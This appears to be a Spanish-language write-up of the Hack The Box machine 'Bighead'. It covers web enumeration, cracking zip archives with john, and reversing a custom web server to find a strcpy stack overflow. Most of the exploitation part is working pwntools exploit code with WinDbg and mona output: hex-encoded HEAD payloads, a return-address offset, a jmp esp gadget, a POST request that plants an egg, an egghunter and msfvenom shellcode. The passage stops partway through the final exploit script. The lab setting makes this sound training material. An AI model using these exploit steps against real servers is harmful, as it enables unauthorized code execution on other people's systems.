Enumeración
Iniciamos la máquina escaneando los puertos de la máquina con nmap
donde encontramos solo un puerto abierto, este es el 80
que corre un servicio http
❯ nmap 10.10.10.112
Nmap scan report for 10.10.10.112
PORT STATE SERVICE
80/tcp open http
Aunque es innecesario por ahora, solo por comodidad agregaremos el dominio bighead.htb
al archivo /etc/hosts
para que asi sepa a donde debe resolver
❯ echo "10.10.10.112 bighead.htb" | sudo tee -a /etc/hosts
Si miramos el servicio http
desde el navegador nos encontramos una página web un poco simple que de primeras realmente no nos lleva a nada demasiado interesante
Mirando el codigo fuente encontramos que en el codigo del formulario
este intenta enviar los datos mediante el metodo POST
hacia el subdominio mailer
Antes de ver su contenido podemos intentar fuzzear por mas subdominios
, usando wfuzz
y un diccionario de seclists encontramos 2 mas que son dev
y code
❯ wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.bighead.htb" -u http://bighead.htb -t 100 --hh 11175
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://bighead.htb/
Total requests: 4989
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000019: 200 1 L 3 W 13456 Ch "dev"
000000224: 302 7 L 10 W 161 Ch "mailer"
000000573: 302 0 L 0 W 0 Ch "code"
Después de agregar los 3
subdominios al /etc/hosts
y ver su contenido principal podemos decir que no nos lleva a ningun lado, dev
solo nos muestra una imagen
Ahora usamos wfuzz
para intentar descubrir directorios bajo el subdominio dev
, algunos que inician con blog devuelven 302
pero coffee nos devuelve un 418
❯ wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -u http://dev.bighead.htb/FUZZ -t 100 --hc 404
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://dev.bighead.htb/FUZZ
Total requests: 30000
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000013: 302 7 L 10 W 161 Ch "wp-content"
000000050: 302 7 L 10 W 161 Ch "blog"
000000335: 302 7 L 10 W 161 Ch "blogs"
000002714: 302 7 L 10 W 161 Ch "blog2"
000003634: 302 7 L 10 W 161 Ch "blog1"
000004250: 302 7 L 10 W 161 Ch "wp-contents"
000007409: 302 7 L 10 W 161 Ch "blog3"
000008049: 302 7 L 10 W 161 Ch "blogapi"
000008945: 418 1 L 3 W 46 Ch "coffee"
000010016: 302 7 L 10 W 161 Ch "blogging"
Si accedemos al directorio /coffee
descubierto simplemente se nos muestra un gif de google mostrando el codigo de estado 418
tambien llamado I'm a teapot
Algo interesante son las cabeceras de respuesta, si hacemos un simple curl
con el parametro -I
para verlas nos dice que esta corriendo BigheadWebSvr 1.0
❯ curl http://dev.bighead.htb/coffee -I
HTTP/1.1 200 OK
Date: Tue, 24 Oct 2023 20:12:40 GMT
Content-Type: text/html
Content-Length: 13456
Connection: keep-alive
Server: BigheadWebSvr 1.0
Si buscamos esa tecnologia por internet nos lleva a un repositorio de github con un zip
Despues de clonar el repo nos queda un zip con lo que parece ser un backup
❯ ls -l
.rw-r--r-- user user 8.7 KB Tue Oct 24 20:12:59 2023 BHWS_Backup.zip
.rw-r--r-- user user 34 KB Tue Oct 24 20:12:59 2023 LICENSE
.rw-r--r-- user user 39 B Tue Oct 24 20:12:59 2023 README.md
Sin embargo al intentar descomprimirlo nos pide una contraseña que no conocemos
❯ 7z x BHWS_Backup.zip
Scanning the drive for archives:
1 file, 8894 bytes (9 KiB)
Extracting archive: BHWS_Backup.zip
--
Path = BHWS_Backup.zip
Type = zip
Physical Size = 8894
Enter password (will not be echoed):
Podemos hacer uso de la herramienta zip2john
para crear un hash de la contraseña del zip para posteriormente crackearla con john
a traves de solo fuerza bruta
❯ zip2john BHWS_Backup.zip > hash
❯ john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 10 password hashes with 10 different salts (ZIP, WinZip [PBKDF2-SHA1 128/128 XOP 4x2])
Loaded hashes with cost 1 (HMAC size) varying from 73 to 1356
Press 'q' or Ctrl-C to abort, almost any other key for status
thepiedpiper89 (BHWS_Backup.zip)
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Ahora descomprimimos el zip
pasandole la contraseña, el comprimido nos deja varios archivos, un .txt
y varios archivos de configuracion dentro de una carpeta
❯ 7z x BHWS_Backup.zip
Scanning the drive for archives:
1 file, 8894 bytes (9 KiB)
Extracting archive: BHWS_Backup.zip
--
Path = BHWS_Backup.zip
Type = zip
Physical Size = 8894
Enter password (will not be echoed): thepiedpiper89
Everything is Ok
Folders: 2
Files: 10
Size: 22340
Compressed: 8894
❯ tree
.
├── BigheadWebSvr_exe_NOTICE.txt
└── conf
├── fastcgi.conf
├── fastcgi_params
├── koi-utf
├── koi-win
├── mime.types
├── nginx.conf
├── scgi_params
├── uwsgi_params
└── win-utf
2 directories, 10 files
Si leemos el .txt
nos dice que el software vulnerable ha sido removido del archivo
❯ cat BigheadWebSvr_exe_NOTICE.txt
I removed this vulnerable crapware from the archive
love
Gilfoyle... :D
Esto podria ser un problema pero es facil de resolver ya que aunque se elimino el archivo del zip podemos volver a un commit
anterior donde este aun existia
❯ git log --oneline
5cc2d98 (HEAD -> master, origin/master, origin/HEAD) Add files via upload
c25f61e Fixed a bug
b1b4d6e Nelson's Web Server Backup
54182c6 Initial commit
❯ git checkout b1b4d6e
Nota: cambiando a 'b1b4d6e'.
HEAD está ahora en b1b4d6e Nelson's Web Server Backup
Aunque la contraseña del zip
es diferente en este commit podemos repetir el proceso de antes para conseguirla y asi descomprimir el zip que esta cifrado
❯ zip2john BHWS_Backup.zip > hash
❯ john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 11 password hashes with 11 different salts (ZIP, WinZip [PBKDF2-SHA1 128/128 XOP 4x2])
Loaded hashes with cost 1 (HMAC size) varying from 257 to 23430
Press 'q' or Ctrl-C to abort, almost any other key for status
bighead (BHWS_Backup.zip)
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
❯ 7z x BHWS_Backup.zip
Scanning the drive for archives:
1 file, 42198 bytes (42 KiB)
Extracting archive: BHWS_Backup.zip
--
Path = BHWS_Backup.zip
Type = zip
Physical Size = 42198
Enter password (will not be echoed): bighead
Everything is Ok
Folders: 2
Files: 11
Size: 102236
Compressed: 42198
Si ahora miramos la carpeta que nos deja vemos 2 archivos nuevos, un exe
y un dll
❯ tree
.
├── bHeadSvr.dll
├── BigheadWebSvr.exe
└── conf
├── fastcgi.conf
├── fastcgi_params
├── koi-utf
├── koi-win
├── mime.types
├── nginx.conf
├── scgi_params
├── uwsgi_params
└── win-utf
Shell - nelson
Iniciemos analizando el binario, para ello podemos usar un desensamblador como ida
, la función es bastante simple, la instrucción cmp
compara la longitud de argv
con 2
, donde el primero es el propio binario comprueba si se recibe un argumento por consola, en caso de que sea igual o menor
va al bloque de la flecha verde
Realiza nuevamente la comparación, si se recibe un puerto como argumento se utiliza atoi
para convertir la cadena a entero y se guarda en una variable, si no se recibe ningun argumento se utiliza por defecto el puerto 8008
como valor por defecto
inicia mostrando algunos mensajes por consola utilizando puts
y llamando a WSAStartup
que inicia el uso del archivo dll de Winsock
, luego llama a getaddrinfo
Si lo anterior sale bien se llama a la función socket
que inicia un nuevo socket y despues a la función bind
para asociar el socket a la dirección local
Luego llama a la función listen
para poner en escucha el socket en el puerto especificado o por defecto, muestra un mensaje con puts
para decir que esta en escucha y acepta cualquier posible conexión utilizando la función accept
Cuando recibe la conexión formatea los datos y con la función printf
muestra por consola la información del cliente como la ip y puerto de conexión, luego llama a CreateThread
para crear un nuevo hilo que ejecutará la función ConnectionHandler
La función ConnectionHandler
inicia reservando varios espacios en memoria con malloc
y memset
, luego si l código de estado, es -1
va al bloque de la flecha roja
En el siguiente bloque se compara el parametro recibido con 0
si es asi lanza un error, de lo contrario llama a la función recv
que recibe un buffer del socket
Luego compara el tamaño del buffer con 219
, si es menor o igual compara los primeros 5
bytes del buffer con HEAD
, esto indica el método de una petición
Luego reserva un espacio en memoria e inicia con algo interesante, mueve el buffer a eax
y añade una constante 6
para saltar los primeros 6
bytes que en nuestro caso serán los de la petición HEAD /
, luego mueve el byte a eax
que en nuestro caso será un 0x41
ya que enviaremos A's
y compara que no sea 0
que indicaria el final
Si no es 0
añade un byte a la constante 6
por lo que ahora vale 7
, lo añade al valor del buffer por lo que se puede deducir que salta al siguiente byte y nuevamente verifica que no sea 0
, en el siguiente bloque mueve el buffer a eax
y añade nuevamente los 6
bytes para saltar al inicio del payload, mueve un word
a eax
que serian 2 A's
o 0x4141
en memoria, este será el primer argumento para strtoul
, el segundo es 0
y el tercero es 16
indicando la base que indicaria hexadecimal
Para entenderlo mejor podemos crear un programa en c
que haga lo mismo, si indicamos una A
como string donde su valor inicial es 0x41
lo convierte a 10
o su valor en hexadecimal 0xA
que es el mismo valor de la string inicial como hex
#include <stdio.h>
#include <stdlib.h>
int main() {
char *string = "A";
char *null;
int result = strtoul(string, &null, 16);
printf("%X -> %d -> %X\n", *string, result, result);
return 0;
}
❯ gcc code.c -o code
❯ ./code
41 -> 10 -> A
Indicamos AA
como en el programa, ahora el valor inicial es 0x4141
y lo convierte a 170
o 0xAA
en hexadecimal por lo que el valor original que era AA
como string o 0x4141
como word
en hexadecimal paso a ser solo un byte
con valor 0xAA
❯ gcc code.c -o code
❯ ./code
4141 -> 170 -> AA
Luego de repetir ese bucle hasta que todo el buffer tome ese formato salta al bloque verde que le pasa el nuevo buffer a Function4
y envia una respuesta con send
La función Function4
es bastante simple, toma el buffer y lo copia a un nuevo destino usando strcpy
, sin embargo aqui encontramos la vulnerabilidad ya que lo guarda en ebp - 32
y si pasamos ese buffer empezaremos a sobrescribir otros datos
Para analizar la vulnerabilidad encontrada ejecutaremos la aplicación desde WinDbg
Ahora que conocemos la vulnerabilidad enviaremos nuestro payload en una petición HEAD
, sin embargo debido a la comparación que vimos antes sabemos que no podemos exceder un tamaño de 219
por lo que nos quedan unos 200
libres
#!/usr/bin/python3
from pwn import remote
payload = b"A" * 200
content = f"HEAD /{payload} HTTP/1.1".encode()
shell = remote("192.168.100.5", 8008)
shell.sendline(content)
Luego de enviar el exploit si miramos desde el debugger el programa corrompe, pero en lugar de ver un 0x41414141
vemos 0xaaaaaaaa
, esto es debido a lo explicando anteriormente con ida
en el bucle antes reverseando donde se llama a strtoul
0:000> g
(35dc.24a4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00f2fb14 ebx=00000194 ecx=00d21728 edx=000000aa esi=0040194e edi=0040194e
eip=aaaaaaaa esp=00f2fb3c ebp=aaaaaaaa iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
aaaaaaaa ?? ???
La solución es simple, enviar su valor en hexadecimal por ejemplo si queremos enviar A
enviaremos 41
, esto podemos automatizarlo en python usando .hex()
#!/usr/bin/python3
from pwn import remote
payload = b"A" * 100
content = f"HEAD /{payload.hex()} HTTP/1.1".encode()
shell = remote("192.168.100.5", 8008)
shell.sendline(content)
Nuevamente enviamos el exploit esta vez con la mitad de tamaño ya que ahora por cada byte
se envian 2
, ahora el valor de retorno si que toma 0x41414141
0:000> g
(25e8.3c6c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0123fb14 ebx=00000174 ecx=00881728 edx=01000000 esi=0040194e edi=0040194e
eip=41414141 esp=0123fb3c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
41414141 ?? ???
Tomamos el control de la dirección de retorno sin embargo aun nos enfrentamos a otro problema y es el tamaño del payload ya que si excede de 219
bytes nunca entrará a la función vulnerable y el uso de strtoul
solo lo empeora más ya que reduce ese tamaño por la mitad, ahora solo tenemos un aproximado de 100
bytes
Buffer Overflow - egghunter
El buffer incia el ebp - 32
por lo que si sumamos esos 32
bytes mas 4
de ebp tenemos el offset a la dirección de retorno en el stack, podemos comprobar esto enviando 36 A's
seguidas de 4 B's
como la dirección de retorno y luego C's
#!/usr/bin/python3
from pwn import remote
offset = 36
junk = b"A" * offset
ret = b"B" * 4
stack = b"C" * 60
payload = junk + ret + stack
content = f"HEAD /{payload.hex()} HTTP/1.1".encode()
shell = remote("192.168.100.5", 8008)
shell.sendline(content)
Esta vez sobreescribimos el retorno pero tenemos el control del puntero que ahora tiene como valor 0x42424242
que es la representacion en hexadecimal de las B's
, además de las otras 60 C's
en el stack, que por la limitación es el aproximado de espacio que tenemos disponible para nuestro shellcode al ejecutar un jmp esp
0:000> g
(30ac.123c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=010cfb14 ebx=0000017c ecx=00ec1728 edx=01000000 esi=0040194e edi=0040194e
eip=42424242 esp=010cfb3c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
42424242 ?? ???
0:000> db esp
010cfb3c 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
010cfb4c 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
010cfb5c 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
010cfb6c 43 43 43 43 43 43 43 43-43 43 43 43 00 00 00 00 CCCCCCCCCCCC....
010cfb7c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
010cfb8c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
010cfb9c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
010cfbac 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
Podriamos usar un egghunter
pero necesitamos un lugar donde depositar el shellcode sin restricciones de espacio, siguiendo la flecha donde excedemos el tamaño de 219
podemos encontrar la comparación con el método POST /
, aunque aqui no hay vulnerabilidades sabemos que el buffer se encontrará en la memoria
Estableceremos w00tw00t
como huevo que será un valor que luego podemos buscar en memoria y asi conocer la dirección del shellcode, además enviamos 100 D's
simulando un shellcode, en la segunda parte explotamos la vulnerabilidad
#!/usr/bin/python3
from pwn import remote
egg = b"w00t" * 2
shellcode = b"D" * 100
payload = egg + shellcode
content = b"POST / HTTP/1.1\r\n" + payload
shell = remote("192.168.100.5", 8008)
shell.sendline(content)
shell.close()
offset = 36
junk = b"A" * offset
ret = b"B" * 4
stack = b"C" * 60
payload = junk + ret + stack
content = f"HEAD /{payload.hex()} HTTP/1.1".encode()
shell = remote("192.168.100.5", 8008)
shell.sendline(content)
Luego de enviar el exploit podemos buscar el huevo en toda la memoria de usuario, al encontrar la dirección sabemos que 8
bytes después se encontraran las D's
, aunque esta dirección es dinamica y se encuentra en el heap
no afectará el exploit
0:000> g
(1044.a68): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0102fb14 ebx=00000184 ecx=00e21728 edx=01000000 esi=0040194e edi=0040194e
eip=42424242 esp=0102fb3c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
42424242 ?? ???
0:000> s -a 0 L?80000000 w00tw00t
00e22861 77 30 30 74 77 30 30 74-44 44 44 44 44 44 44 44 w00tw00tDDDDDDDD
0:000> db 00e22861 L50
00e22861 77 30 30 74 77 30 30 74-44 44 44 44 44 44 44 44 w00tw00tDDDDDDDD
00e22871 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
00e22881 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
00e22891 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
00e228a1 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
0:000> !address 0x00e22861
Usage: Heap
Base Address: 00e20000
End Address: 00e25000
Region Size: 00005000 ( 20.000 kB)
State: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE
Type: 00020000 MEM_PRIVATE
Allocation Base: 00e20000
Allocation Protect: 00000004 PAGE_READWRITE
More info: heap owning the address: !heap -s -h 0xe20000
More info: heap segment
More info: heap entry containing the address: !heap -x 0xe22861
Content source: 1 (target), length: 279f
Lo siguiente será detectar los badchars que no puede contener nuestro shellcode, para ello crearemos un array de los 256
posibles caracteres utilizando mona
0:000> !py mona bytearray
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py bytearray
Generating table, excluding 0 bad chars...
Dumping table to file
[+] Preparing output file 'bytearray.txt'
- (Re)setting logfile C:\mona\bytearray.txt
"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
Done, wrote 256 bytes to file C:\mona\bytearray.txt
Binary output saved in C:\mona\bytearray.bin
En lugar de D's
enviaremos los badchars ya que podemos conocer su ubicación
shellcode = b""
shellcode += b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
shellcode += b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
shellcode += b"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
shellcode += b"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
shellcode += b"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
shellcode += b"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
shellcode += b"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
shellcode += b"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
Ahora al encontrar la dirección de nuestro huevo sabemos que 8
bytes después deberian de estar los badchars, al comparar los bytes originales con la memoria podemos ver que ninguno de los 256
bytes causaron conflicto con la petición
0:000> g
(bc8.3d54): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0104fb14 ebx=00000184 ecx=00871728 edx=01000000 esi=0040194e edi=0040194e
eip=42424242 esp=0104fb3c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
42424242 ?? ???
0:000> s -a 0 L?80000000 w00tw00t
00872861 77 30 30 74 77 30 30 74-00 01 02 03 04 05 06 07 w00tw00t........
0:000> !py mona compare -f C:\mona\bytearray.bin -a 0x00872869
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py compare -f C:\mona\bytearray.bin -a 00872869
[+] Reading file C:\mona\bytearray.bin...
Read 256 bytes from file
[+] Preparing output file 'compare.txt'
- (Re)setting logfile C:\mona\compare.txt
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
[+] C:\mona\bytearray.bin has been recognized as RAW bytes.
[+] Fetched 256 bytes successfully from C:\mona\bytearray.bin
- Comparing 1 location(s)
Comparing bytes from file with memory :
0x00872869 | [+] Comparing with memory at location : 0x00872869 (Heap)
0x00872869 | !!! Hooray, normal shellcode unmodified !!!
Revisemos los módulos cargados en memoria en el momento de ejecución que no pertenezcan al sistema, encontramos el .exe
y 2 .dll
pero uno lo descargamos por nuestra cuenta, el .exe
no podemos usarlo porque la dirección base contiene un null byte que debemos evitar en el método HEAD
, asi que solo nos queda bheadsvr.dll
0:000> !py mona modules -cm os=false
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py modules -cm os=false
---------- Mona command started on 2024-07-23 00:21:23 (v2.0, rev 636) ----------
[+] Processing arguments and criteria
- Pointer access level : X
- Module criteria : ['os=false']
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
----------------------------------------------------------------------------------------------------------------------------------------------
Module info :
----------------------------------------------------------------------------------------------------------------------------------------------
Base | Top | Size | Rebase | SafeSEH | ASLR | CFG | NXCompat | OS Dll | Version, Modulename, DLLCharacteristics
----------------------------------------------------------------------------------------------------------------------------------------------
0x00400000 | 0x00413000 | 0x00013000 | False | False | False | False | False | False | -1.0- [BigheadWebSvr.exe] 0x0
0x62500000 | 0x62510000 | 0x00010000 | False | False | False | False | False | False | -1.0- [bHeadSvr.dll] 0x0
0x64540000 | 0x64570000 | 0x00030000 | False | False | False | False | False | False | -1.0- [libmingwex-0.dll] 0x0
----------------------------------------------------------------------------------------------------------------------------------------------
[+] Preparing output file 'modules.txt'
- (Re)setting logfile C:\mona\modules.txt
Ahora buscamos el gadget jmp esp
al ejecutarse saltará al stack ejecutando todo el shellcode que se encuentre ahi, que en este caso será un simple egghunter
0:000> !py mona jmp -r esp -m bheadsvr.dll
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py jmp -r esp -m bheadsvr.dll
---------- Mona command started on 2024-07-23 00:21:56 (v2.0, rev 636) ----------
[+] Processing arguments and criteria
- Pointer access level : X
- Only querying modules bheadsvr.dll
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
[+] Querying 1 modules
- Querying module bHeadSvr.dll
- Search complete, processing results
[+] Preparing output file 'jmp.txt'
- (Re)setting logfile C:\mona\jmp.txt
[+] Writing results to C:\mona\jmp.txt
- Number of pointers of type 'jmp esp' : 9
[+] Results :
0x625012f0 | 0x625012f0 : jmp esp | {PAGE_EXECUTE_READ} [bHeadSvr.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0
0x625012fd | 0x625012fd : jmp esp | {PAGE_EXECUTE_READ} [bHeadSvr.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0
0x6250130a | 0x6250130a : jmp esp | ascii {PAGE_EXECUTE_READ} [bHeadSvr.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0
0x62501317 | 0x62501317 : jmp esp | ascii {PAGE_EXECUTE_READ} [bHeadSvr.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0
0x62501324 | 0x62501324 : jmp esp | ascii {PAGE_EXECUTE_READ} [bHeadSvr.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0
0x62501331 | 0x62501331 : jmp esp | ascii {PAGE_EXECUTE_READ} [bHeadSvr.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0
0x6250133e | 0x6250133e : jmp esp | ascii {PAGE_EXECUTE_READ} [bHeadSvr.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0
0x6250134b | 0x6250134b : jmp esp | ascii {PAGE_EXECUTE_READ} [bHeadSvr.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0
0x6250134d | 0x6250134d : jmp esp | ascii {PAGE_EXECUTE_READ} [bHeadSvr.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0
Found a total of 9 pointers
En el stack en lugar del shellcode enviaremos un egghunter
que ya analizamos antes en otro post de exploit, este podemos generarlo con mona y es un código muy pequeño que busca un huevo en toda la memoria en este caso w00tw00t para ejecutar todo lo que está despues que será nuestro verdadero shellcode
0:000> !py mona egghunter
Hold on...
[+] Command used:
!py C:\Users\gatog\Documents\WinDbgX\x86\mona.py egghunter
[+] Egg set to w00t
[+] Generating traditional 32bit egghunter code
[+] Preparing output file 'egghunter.txt'
- (Re)setting logfile C:\mona\egghunter.txt
[+] Egghunter (32 bytes):
"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
Para evitar tener que abrir un listener en una shell simplemente con msfvenom
crearemos un shellcode
que ejecute calc.exe
para comprobar que funcione
❯ msfvenom -p windows/exec CMD=calc.exe -f python -v shellcode
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 193 bytes
Final size of python file: 1095 bytes
shellcode = b""
shellcode += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0"
shellcode += b"\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b"
shellcode += b"\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61"
shellcode += b"\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2"
shellcode += b"\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11"
shellcode += b"\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3"
shellcode += b"\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6"
shellcode += b"\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75"
shellcode += b"\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b"
shellcode += b"\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
shellcode += b"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24"
shellcode += b"\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a"
shellcode += b"\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00"
shellcode += b"\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb"
shellcode += b"\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
shellcode += b"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47"
shellcode += b"\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c"
shellcode += b"\x63\x2e\x65\x78\x65\x00"
Resumiendo, la primera parte del exploit envia un huevo seguido del shellcode
para guardarlo en memoria, la segunda explota la vulnerabilidad y ejecuta un egghunter
que buscara el huevo en toda la memoria para asi ejecutar el shellcode
#!/usr/bin/python3
from pwn import remote, p32
egg = b"w00t" * 2
shellcode = b""
shellcode += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0"
shellcode += b"\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b"
shellcode += b"\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61"
shellcode += b"\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2"
